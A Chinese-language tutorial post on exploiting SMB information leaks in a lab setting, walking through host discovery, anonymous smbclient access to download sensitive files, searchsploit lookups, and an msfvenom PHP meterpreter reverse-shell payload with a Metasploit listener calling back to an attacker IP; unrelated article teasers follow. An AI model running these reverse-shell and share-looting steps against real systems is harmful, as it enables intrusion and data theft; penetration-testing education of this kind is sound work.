SMB信息泄露的利用

一、背景

今天分享SMB信息泄露,SMB(Server Message Block)网络通信协议,早些时候被用于Web链接和客户端与服务器之间的信息通信,现在大部分Web页面使用HTTP协议,在web领域应用较少。另一方面SMB协议还是被广泛用于计算机之间共享文件、打印机、串口等信息通信,比如在windows操作系统上面的“网上邻居”的实现就是靠SMB实现的。
SMB 是一种客户机/服务器、请求/响应协议。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源。
SMB 协议基于TCP - NETBIOS下的,一般端口使用 139,445

二、SMB泄露原理

SMB协议是一种客户端-服务器协议,尽管SMB协议在网络文件共享中起到重要作用,但它也有一些安全漏洞,使得系统容易受到攻击。以下是一些常见的SMB协议安全漏洞:
1.无法强制用户使用较强的密码:SMB协议在早期版本中没有强制要求用户使用强密码,这给攻击者破解密码提供了机会。比如使用弱密码暴力破解。
2.NTLM身份验证问题:NTLM(Windows NTLAN Manager)是SMB协议中使用的一种身份验证协议,它的早期版本在安全性方面存在一些漏洞。攻击者可以通过中间人攻击或暴力破解。
3.SMB协议版本问题:一些较早版本的SMB存在安全漏洞,用户可以在kali上通过searchsploit 找到对应版本的漏洞,已经响应的利用脚本。
4.缓冲区溢出:由于SMB协议没有对用户输入进行充分验证,攻击者可以通过发送特制的请求来触发缓冲区溢出,导致远程恶意代码执行。
既然SMB存在这些漏洞,接下来我们看一下如何一步步进行SMB漏洞的利用

三、SMB信息泄露利用步骤

进行SMB漏洞利用,主要还是要参考局域网靶机渗透操作指南,接下来我们看一下如何进行SMB漏洞利用:

3.1 寻找靶机

查看局域网中靶机的IP 使用工具为netdiscover工具, 命令格式: netdiscover -r ip/mask

3.2 探测靶机开放的服务以及服务使用框架的版本

使用nmap工具,具体命令格式:nmap -sV 靶机ip

3.3 找到SMB协议,并针对协议进行分析

(a) 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件
smbclinet -L IP //查看SMB文件目录, 使用空口令尝试登陆
smbclient ‘\IP\share$’ //查看SMB文件,使用空密码,其中的share就是SMB列出的文件名称
get 敏感文件 //下载文件
(b)针对SMB协议远程溢出漏洞进行分析
searchsploit samba版本号 //搜索SMB远程溢出漏洞

3.4 基于3.3找出漏洞的情况下,我们可以制作一些反弹Shell

主要利用metasploit这款工具,制作反弹shell
例如我制作的是PHP框架下的一个tcp反弹的webshell,使用的攻击载荷payload(php/meterpreter/reverse_tcp):

msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP lport=4444 -f raw

制作一个webshell并运行起来
然后攻击机启动metasploit,然后启动监听

msfconsole//启动metasploit
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

只有有人触发了php框架下的反弹shell脚本,攻击机就会获得服务器的登录权限。

四、总结

SMB的协议出现较早,应用较广泛,但是早期计算机协议注重应用的快速建立,而对安全的要求并不太严格,所以很多较老的设备使用了存在漏洞的SMB协议,就会存在安全隐患。我们在SMB漏洞的利用中,主要还是基于msf提供的一些payload,这些payload其实都是别人做好了的,所以用起来特别方便,也从另一个方面反映如果有人要攻击利用SMB漏洞其实也很方便,所以我们在计算机安全防护上还需进行更多的考虑,必要的安全设置应该保留,不要为了一时方便,关闭所有安全防护的护盾。如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/151370.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【运维篇】5.4 Redis 并发延迟检测

文章目录 0.前言Redis工作原理可能引起并发延迟的常见操作和命令并发延迟检测分析和解读监控数据:优化并发延迟的策略 1. 检查CPU情况2. 检查网络情况3. 检查系统情况4. 检查连接数5. 检查持久化 :6. 检查命令执行情况 0.前言 Redis 6.0版本之前其使用单…

Java 算法篇-链表的经典算法:判断回文链表、判断环链表与寻找环入口节点(“龟兔赛跑“算法实现)

🔥博客主页: 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 链表的创建 2.0 判断回文链表说明 2.1 快慢指针方法 2.2 使用递归方式实现反转链表方法 2.3 实现判断回文链表 - 使用快慢指针与反转链表方法 3.0 判断环链表说明…

设计模式-迭代器模式-笔记

动机(Motivaton) 在软件构建过程中,集合对象内部结构常常变化各异。但对于这些集合对象,我们呢希望在不暴露其内部结构的同时,可以让外部客户代码透明地访问其中包含的元素;同时这种“透明遍历”也为“同一…

记一次攻防实战渗透

经典开局一个登录框 由于漏洞应该还未修复。对于数据和相关网址打个码见谅一下 常规思路(爆破) 常规操作进行一波 尝试弱口令然后开始爆破 对于此种有验证码的爆破,可以借用一个bp插件。 captcha-killer-modified-jdk14.jar 具体使用我就…

游戏报错d3dcompiler_47.dll缺失怎么修复,总结多种修复方法

在使用这些软件和游戏的过程中,我们常常会遇到一些问题,其中之一就是d3dcompiler_47.dll丢失的问题。这个问题可能会导致软件或游戏无法正常运行,给用户带来困扰。本文将详细介绍解决软件游戏d3dcompiler_47.dll丢失的方法,帮助您…

地推团队怎么接一手app拉新项目?这几个接单平台可以试试看

首推平台:“聚量推客” 有粉丝问我: 我在五线小城市做地推,有个10人的地推团队,怎么接到一手靠谱的单子? 其实不止一个粉丝在后台问我,做地推、充场的人都在找单子,做这个行业就没有不缺项目的…

C++学习 --文件

文件操作步骤&#xff1a; 1&#xff0c; 包含头文件#include<fstream> 2&#xff0c; 创建流对象&#xff1a;ofstream ofs 3&#xff0c; 打开文件&#xff1a;ofs.open("文件路径"&#xff0c; 打开方式) 4&#xff0c; 写数据&#xff1a;ofs <<…

2分钟快速安装 `nginx` 和配置 `keepalived`

这是详细的步骤来在 CentOS 7 上安装 nginx 和配置 keepalived。 主服务器&#xff08;IP: 192.168.9.195&#xff09; 安装 Nginx 安装 EPEL 仓库&#xff1a; sudo yum install epel-release -y安装 Nginx&#xff1a; sudo yum install nginx -y启动 Nginx 服务并设置开机…

【C++】基础语法(中)

C基础语法&#xff08;中&#xff09; 文章目录 C基础语法&#xff08;中&#xff09;01数组一维数组数组初始化注意访问练习1练习2练习3普通做法&#xff1a;优化reverse函数练习4 多维数组清空数组memsetmemcpy 数组的部分由上到下&#xff0c;按规律 蛇形矩阵技巧 02 字符串…

《QT从基础到进阶·二十九》QT,opencv源码调试

有时候我们在使用VS调试程序的bug&#xff0c;但发现程序崩溃的地方并不在我们写的程序中&#xff0c;我们通过调用堆栈发现程序崩溃的地方出现在QT或者opencv等源码中&#xff0c;那么我们怎么能把断点打到这些开源库中&#xff0c;下面提供一种办法&#xff1a; 解决方案–右…

C语言——写一个函数,每调用一次这个函数,就会将num的值增加1

#define _CRT_SECURE_NO_WARNINGS 1#include<stdio.h>void Add(int* p) {(*p); // 的优先级高于* } int main() {int num0;Add(&num);printf("第一次调用:num %d\n",num);Add(&num);printf("第二次调用:num %d\n",num);Add(&num);p…

【Spring】之注解存取Bean对象

在本系列的上一篇文章中&#xff0c;我们已经了解了Spring的一些核心概念&#xff0c;并且还学习了Spring存取。但是我们发现在存取的过程中还是比较复杂&#xff0c;接下来我们将学习更为简单的Spring存取&#xff0c;其中涉及到的主要内容就是注解。并且在Spring家族的学习过…

搭建网关服务器实现DHCP自动分配、HTTP服务和免密登录

目录 一. 实验要求 二. 实验准备 三. 实验过程 1. 网关服务器新建网卡并改为仅主机模式 2. 修改新建网卡IP配置文件并重启服务 3. 搭建网关服务器的dhcp服务 4. 修改server2网卡配置文件重启服务并效验 5. 设置主机1的网络连接为仅主机模式 6. 给server2和网关服务器之…

开发者生态:共享知识,携手共进,共创技术辉煌

开发者生态&#xff1a;共享知识&#xff0c;携手共进&#xff0c;共创技术辉煌 在数字化时代&#xff0c;开发者是推动技术进步和创新的重要力量。他们创造着改变世界的软件和应用&#xff0c;推动着技术的边界不断向前。而在这个快速发展的时代&#xff0c;建立一个健康、活跃…

关于这个“这是B站目前讲的最好的【Transformer实战】教程!“视频的目前可以运行的源代码GPU版本

课程链接如下&#xff1a; 2.1认识Transformer架构-part1_哔哩哔哩_bilibili 因为网上可以找到源代码&#xff0c;但是呢&#xff0c;代码似乎有点小错误&#xff0c;我自己改正后&#xff0c;放到了GPU上运行&#xff0c; 代码如下&#xff1a; # 来自https://www.bilibil…

单链表相关面试题--7.链表的回文结构

/* 解题思路&#xff1a; 此题可以先找到中间节点&#xff0c;然后把后半部分逆置&#xff0c;最近前后两部分一一比对&#xff0c;如果节点的值全部相同&#xff0c;则即为回文。 */ class PalindromeList { public:bool chkPalindrome(ListNode* A) {if (A NULL || A->ne…

多媒体ffmpeg学习教程

多媒体ffmpeg 目前比较流行的音视频文件为:MP4 flv m3u8 ffmpeg ffmpeg ffplay ffprobe ffserverffmpeg -i INPUT -vf "split [main][tmp]; [tmp] cropiw:ih/2:0:0, vflip [flip];[main][flip] overlay0:H/2" OUTPUTffmpeg -i 2022.mp4 -vcodec mpeg4 -b:…

CSS---关于font文本属性设置样式总结

目录 1、color属性 2、font-size属性 3、font-weight属性 4、font-family属性 5、text-align属性 6、line-height属性 7、text-indent属性 8、letter-spacing属性 9、word-spacing属性 10、word-break属性 11、white-space属性 12、text-transform 12、writing-mo…

SchedulingConfigurer教程,怎么使用Spring自带的可扩展定时任务调度接口

简介&#xff1a; SchedulingConfigurer 是 Spring 框架中的一个接口&#xff0c;用于配置任务调度&#xff08;scheduling&#xff09;的相关设置。在 Spring 中&#xff0c;任务调度通常通过 Spring 的任务调度模块&#xff08;Task Scheduling&#xff09;来实现&#xff0c…

px、em、rem、百分比的区别

文章目录 1. 单位类型与相对基准2. 相对长度1.em2.rem3.%百分比4.vw 和 vh5.vmin 和 vmax6.vm7.ch8. ex 3. 总结 1. 单位类型与相对基准 单位名称单位类型 &#xff08;相对/绝对&#xff09;相对基准px相对屏幕像素缩放后的尺寸百分比相对font-size相对于继承&#xff0c;wid…